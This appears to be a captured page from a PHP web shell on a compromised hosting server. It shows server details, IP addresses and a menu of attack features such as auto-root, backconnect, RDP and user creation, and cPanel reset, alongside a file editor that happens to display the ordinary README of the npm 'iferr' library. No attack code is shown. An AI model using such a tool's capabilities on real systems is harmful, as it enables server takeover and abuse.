Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.119.127.13
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib /
node_modules /
npm /
node_modules /
iferr /
[ HOME SHELL ]
Name
Size
Permission
Action
LICENSE
1.05
KB
-rw-r--r--
README.md
909
B
-rw-r--r--
iferr.js
837
B
-rw-r--r--
package.json
1.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# iferr Higher-order functions for easier error handling. `if (err) return cb(err);` be gone! ## Install ```bash npm install iferr ``` ## Use ### JavaScript/ES6 example ```js var iferr = require('iferr'); function get_friends_count(id, cb) { User.load_user(id, iferr(cb, user => user.load_friends(iferr(cb, friends => cb(null, friends.length) )) )) } ``` ### JavaScript/ES5 example ```js var iferr = require('iferr'); function get_friends_count(id, cb) { User.load_user(id, iferr(cb, function(user) { user.load_friends(iferr(cb, function(friends) { cb(null, friends.length) })) })) } ``` ### CoffeeScript example ```coffee iferr = require 'iferr' get_friends_count = (id, cb) -> User.load_user id, iferr cb, (user) -> user.load_friends iferr cb, (friends) -> cb null, friends.length ``` (TODO: document tiferr, throwerr and printerr) ## License MIT
Close